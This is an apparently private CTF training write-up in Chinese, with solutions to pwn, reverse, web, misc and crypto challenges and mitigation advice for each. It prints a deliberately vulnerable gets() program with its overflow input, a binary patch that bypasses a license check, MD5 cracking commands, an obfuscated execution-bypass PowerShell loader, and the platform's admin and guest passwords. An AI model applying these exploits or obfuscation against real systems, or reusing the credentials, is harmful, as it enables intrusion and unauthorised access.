# 5/25 資訊安全實務演練(非公開)(宣儒備份版本)
CTFd admin user帳密 `islab`:`@_1slab_@`
guest user帳密 `guest`:`guestguest`
### Pwn
#### Password
```c=
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void shell() {
system("/bin/sh");
}
int main() {
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
char password[12] = "12345678";
char name[8];
printf("What's your name? ");
gets(name);
printf("Hello %s\n", name);
if (!strcmp(password, "password")) {
puts("Welcome :) ");
shell();
return 0;
}
printf("QQ %s\n", password);
exit(0);
}
```
可以透過 `objdump -d` 觀察 ELF 執行檔反組譯出來的組合語言。
password 在 rbp-0x14
name 在 rbp-0x1c
因此可以透過輸入 name 去覆蓋到 password 記憶體上的值。
```
4012a2: 48 b8 31 32 33 34 35 movabs rax,0x3837363534333231
4012a9: 36 37 38
4012ac: 48 89 45 ec mov QWORD PTR [rbp-0x14],rax
4012b0: c7 45 f4 00 00 00 00 mov DWORD PTR [rbp-0xc],0x0
4012b7: 48 8d 3d 4e 0d 00 00 lea rdi,[rip+0xd4e] # 40200c <_IO_stdin_used+0xc>
4012be: b8 00 00 00 00 mov eax,0x0
4012c3: e8 18 fe ff ff call 4010e0 <printf@plt>
4012c8: 48 8d 45 e4 lea rax,[rbp-0x1c]
4012cc: 48 89 c7 mov rdi,rax
4012cf: b8 00 00 00 00 mov eax,0x0
4012d4: e8 27 fe ff ff call 401100 <gets@plt>
4012d9: 48 8d 45 e4 lea rax,[rbp-0x1c]
4012dd: 48 89 c6 mov rsi,rax
4012e0: 48 8d 3d 38 0d 00 00 lea rdi,[rip+0xd38] # 40201f <_IO_stdin_used+0x1f>
4012e7: b8 00 00 00 00 mov eax,0x0
4012ec: e8 ef fd ff ff call 4010e0 <printf@plt>
4012f1: 48 8d 45 ec lea rax,[rbp-0x14]
4012f5: 48 8d 35 2d 0d 00 00 lea rsi,[rip+0xd2d] # 402029 <_IO_stdin_used+0x29>
4012fc: 48 89 c7 mov rdi,rax
4012ff: e8 ec fd ff ff call 4010f0 <strcmp@plt>
```
Writeup ✍
```
$ nc pwn.macacahub.tw 3000
What's your name? 12345678password
Hello 12345678password
Welcome :)
whoami
password
```
#### 防護措施與修補建議
1. 建議使用 fgets 與 strcpy 等這類能限制讀取大小的函式,取代無限制而不安全的 gets 與 strcpy。
2. 軟體開發流程加入原始碼檢測
https://rules.sonarsource.com/c/RSPEC-1081

### Reverse
#### Activation Code
題目有提供原始碼 (實際上可透過反編譯等技術,反編譯出與原始碼相似的程式碼),觀察程式碼可以發現主要的驗證邏輯是啟動碼做字串比對,這時我們可以透過修改執行檔 (俗稱的打 Patch ),使原本的驗證邏輯失效。
```go=
activationCode = strings.Replace(activationCode, "\n", "", -1)
// for windows \r\n
activationCode = strings.Replace(activationCode, "\r", "", -1)
if activationCode == "This is a fake activation code!" {
fmt.Println("Congratulations!")
fmt.Println("This is your flag:", getFlag())
} else {
fmt.Println("Incorrect activation code! QQ")
}
```
我們可以透過 Linux 上的 `objdump -d` 將執行檔反組譯出組合語言與顯示對應的機械碼。題目提供的 hackMe.dump 即為`objdump` 反組譯出的結果。
go 語言中的 main 函式經編譯後的名稱為 main.main,並搭配呼叫兩次的 Replace 定位到我們程式主要驗證邏輯處。
```
481300: e8 9b 44 fe ff call 4657a0 <strings.Replace>
481305: 48 8d 0d d4 52 03 00 lea rcx,[rip+0x352d4] # 4b65e0 <runtime.mainPC+0x10>
48130c: bf 01 00 00 00 mov edi,0x1
481311: 31 f6 xor esi,esi
481313: 45 31 c0 xor r8d,r8d
481316: 49 c7 c1 ff ff ff ff mov r9,0xffffffffffffffff
48131d: 0f 1f 00 nop DWORD PTR [rax]
481320: e8 7b 44 fe ff call 4657a0 <strings.Replace>
481325: 48 83 fb 1f cmp rbx,0x1f
```
0x481325 到 0x48133c 都是我們驗證邏輯所編譯出的組合語言,其 cmp 失敗而跳到`fmt.Println("Incorrect activation code! QQ")`
```
481320: e8 7b 44 fe ff call 4657a0 <strings.Replace>
481325: 48 83 fb 1f cmp rbx,0x1f
481329: 75 77 jne 4813a2 <main.main+0x242>
48132b: 48 89 d9 mov rcx,rbx
48132e: 48 8d 1d c9 b6 01 00 lea rbx,[rip+0x1b6c9] # 49c9fe <go.string.*+0x4d56>
481335: e8 26 12 f8 ff call 402560 <runtime.memequal>
48133a: 84 c0 test al,al
48133c: 74 64 je 4813a2 <main.main+0x242>
48133e: 44 0f 11 7c 24 58 movups XMMWORD PTR [rsp+0x58],xmm15
481344: 48 8d 15 75 7b 00 00 lea rdx,[rip+0x7b75] # 488ec0 <type.*+0x6ec0>
48134b: 48 89 54 24 58 mov QWORD PTR [rsp+0x58],rdx
481350: 4c 8d 05 61 53 03 00 lea r8,[rip+0x35361] # 4b66b8 <runtime.defaultGOROOT.str+0xb0>
481357: 4c 89 44 24 60 mov QWORD PTR [rsp+0x60],r8
48135c: 48 8b 1d ed 4c 0a 00 mov rbx,QWORD PTR [rip+0xa4ced] # 526050 <os.Stdout>
481363: 48 8d 05 be 57 03 00 lea rax,[rip+0x357be] # 4b6b28 <go.itab.*os.File,io.Writer>
48136a: 48 8d 4c 24 58 lea rcx,[rsp+0x58]
48136f: bf 01 00 00 00 mov edi,0x1
481374: 48 89 fe mov rsi,rdi
481377: e8 24 a8 ff ff call 47bba0 <fmt.Fprintln>
```
因此我們可以透過線上二進制編輯器修改執行檔 0x081325 到 0x08133c 位置,這裡我們嘗試覆蓋為組合語言中的 nop 機械碼 0x90,nop 即不做任何事,使程式可以一路直行到 `fmt.Println("Congratulations!")`。


編輯好後儲存並在 Linux 上執行,即可取得 flag 。
```
$ ./hackMe_patch
Please enter your activation code:
Congratulations!
This is your flag: FLAG{____}
```
#### 防護措施與修補建議
1. 可加入混淆、加殼、反偵測等技術保護程式
2. 機敏重要資訊不應寫死 (Hard Code) 在程式碼中,應透過網路連線去驗證
### Web
#### Salt
從 app.go 中能看到密碼會經過 md5 函式計算出其雜湊值,再與資料庫中的資料進行比對。
```go=
func getMacaca(name string, password string) Macaca {
rows, err := db.Query("SELECT * FROM MacacaHub WHERE name=$1 AND password=$2;", name, getMD5Hash(password))
}
```
可以看到 fileServer 提供靜態檔案的路徑,其功能類似 apache Web 網頁伺服器中的 index of。
```go=
func main() {
fs := http.FileServer(http.Dir("./files"))
http.Handle("/files/", http.StripPrefix("/files/", fs))
http.HandleFunc("/", auth(index))
http.HandleFunc("/login", login)
http.HandleFunc("/favicon.ico", func(w http.ResponseWriter, r *http.Request) {})
err := http.ListenAndServe(":3000", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
```
可在網站上發現macaca.db的資料庫。

查看資料庫內容,能發現密碼是被經過雜湊後再記錄的。

透過 python 將資料庫內容寫進文字檔,以便進行弱密碼破。以下是範例程式。
```python=
import sqlite3
import os
DATABASE_PATH = os.path.join(os.path.dirname(__file__), "macaca.db")
conn = sqlite3.connect(DATABASE_PATH)
cur = conn.cursor()
sql_result = cur.execute("select name, password from MacacaHub")
with open("password.txt", "w+") as f:
for name, password in sql_result:
f.write(f"{name}:{password}\n")
```
帳號與密碼用冒號 ":" 隔開。

使用 `john the ripper` 分析哪個用戶使用弱密碼。
```
$ john -show --format=Raw-MD5 password.txt
cyclopis:banana
1 password hash cracked, 14 left
```
```
hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt
```
使用 cyclopis:banana 即可登入成功獲得 flag。

#### 防護措施與修補建議
1. 雜湊時可加足夠長度的鹽,以防止資料庫外洩時容易遭暴力破解
2. 雜湊演算法應選用較新的 sha3
3. 登入驗面經加入驗證碼機制阻擋暴力破解
4. 謹慎使用類似目錄瀏覽與提供靜態檔的功能
5. 使用者不該能存取目錄,應回傳 403 或 404 等錯誤頁面
Index of

https://crackstation.net/

### Misc
#### Devil May Cry

RLO 特殊 Unicode字元 https://www.ithome.com.tw/news/149275
```
PowERshELl -eXecuti byPAsS "& ( $eNV:COmSPec[4,26,25]-JoIN'')( NEW-OBject Io.CompreSSION.DeflATEStReAm( [Io.MEMOrYstReaM] [syStem.conVeRt]::fromBAsE64StrING('bY9Nb4JAEIb/yhyaLkQ24asK3shWyqHJok0bEmMMXVehXVfDRz00/e8OAu2lh3nedyb7zmTvwYA7qd/mgh/rs2Rr33KnlvuwoR+81ISYBhgGyS5kQpbxc4Ty9I1IfIT49CqUrbK/ULwtIsWyLx6yeik8hap+ENllCTvNgLfYNDRGlkoCXWhxQr/reix9gLZB3QcIoDG+GXbmTdGNcA+bd7MEi7/Wsrtf3wY8bd9VKWTCsXs8ie7SEUvqpu6He5UjDxni9h1iAlC2WqQqEhLAWLMirzZBMOmN44SDCxzT6p3nA13Js4rYX8CxneHdzB1NOAZCF/5L2L83RjedjRHH9U0Trg==' ), [Io.COMPreSsION.CompRessiONMoDE]::DECompReSs) | fOrEaCh{NEW-OBject SyStEm.IO.sTREamreaDEr($_, [teXt.EncodinG]::aSCIi ) } |foReaCh{ $_.REaDToEnd( )})"
```
```
> Write-Host QQ
QQ
```
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2
```
> iex ("Wri"+"te"+"-Host"+" QQ")
QQ
```
```
> & "Write-Host" "QQ"
QQ
```
```
> & "iex" "Write-Host QQ"
QQ
```
```=
> $eNV:COmSPec
C:\Windows\system32\cmd.exe
```
```=
> NEW-OBject Io.CompreSSION.DeflATEStReAm( [Io.MEMOrYstReaM] [syStem.conVeRt]::fromBAsE64StrING('bY9Nb4JAEIb/yhyaLkQ24asK3shWyqHJok0bEmMMXVehXVfDRz00/e8OAu2lh3nedyb7zmTvwYA7qd/mgh/rs2Rr33KnlvuwoR+81ISYBhgGyS5kQpbxc4Ty9I1IfIT49CqUrbK/ULwtIsWyLx6yeik8hap+ENllCTvNgLfYNDRGlkoCXWhxQr/reix9gLZB3QcIoDG+GXbmTdGNcA+bd7MEi7/Wsrtf3wY8bd9VKWTCsXs8ie7SEUvqpu6He5UjDxni9h1iAlC2WqQqEhLAWLMirzZBMOmN44SDCxzT6p3nA13Js4rYX8CxneHdzB1NOAZCF/5L2L83RjedjRHH9U0Trg==' ), [Io.COMPreSsION.CompRessiONMoDE]::DECompReSs) | fOrEaCh{NEW-OBject SyStEm.IO.sTREamreaDEr($_, [teXt.EncodinG]::aSCIi ) } |foReaCh{ $_.REaDToEnd( )}
& ( $enV:cOmspeC[4,26,25]-jOin'')( (('Xw'+'QFLA'+'G{'+'H4'+'ck3r'+'_l0v'+'3_'+'P'+'0w3'+'rSh3l'+'l}'+'XwQ dnC Ou'+'t-F'+'ile -Enco'+'d'+'i'+'ng ut'+'f8'+' -File'+'P'+'ath'+' XwQC:e'+'H'+'OUser'+'se'+'HOPubliceHO'+'Docu'+'m'+'entseHO'+'fla'+'gX'+'w'+'Q') -CREPlAce ([Char]88+[Char]119+[Char]81),[Char]34 -ReplACe ([Char]101+[Char]72+[Char]79),[Char]92 -ReplACe ([Char]100+[Char]110+[Char]67),[Char]124))
```
```=
> (('Xw'+'QFLA'+'G{'+'H4'+'ck3r'+'_l0v'+'3_'+'P'+'0w3'+'rSh3l'+'l}'+'XwQ dnC Ou'+'t-F'+'ile -Enco'+'d'+'i'+'ng ut'+'f8'+' -File'+'P'+'ath'+' XwQC:e'+'H'+'OUser'+'se'+'HOPubliceHO'+'Docu'+'m'+'entseHO'+'fla'+'gX'+'w'+'Q') -CREPlAce ([Char]88+[Char]119+[Char]81),[Char]34 -ReplACe ([Char]101+[Char]72+[Char]79),[Char]92 -ReplACe ([Char]100+[Char]110+[Char]67),[Char]124)
"FLAG{H4ck3r_l0v3_P0w3rSh3ll}" | Out-File -Encoding utf8 -FilePath "C:\Users\Public\Documents\flag"
```

#### 防護措施與修補建議
1. 留意 PowerShell 的執行
### Crypto
#### RSA
```python=
from Crypto.PublicKey import RSA
pub_key = RSA.import_key(content)
print(pub_key.n)
```
n = 123018668453011775513049495838496272077285356959533479219732245215172640050726
365751874520219978646938995647494277406384592519255732630345373154826850791702
6122142913461670429214311602221240479274737794080665351419597459856902143413
```
pip install pycryptodome
```
Writeup ✍
```python=
import base64
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
with open("key.pub") as f:
content = f.read()
pub_key = RSA.import_key(content)
n, e = pub_key.n, pub_key.e
assert n == p * q
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
private_key = RSA.construct((n, e, d))
cipher_rsa = PKCS1_OAEP.new(private_key)
with open("flag.enc") as f:
encrypt_flag = f.read().encode()
encrypt_flag = base64.b64decode(encrypt_flag)
flag = cipher_rsa.decrypt(encrypt_flag).decode()
print(flag)
```
#### 防護措施與修補建議
1. 正確使用加解密演算中的參數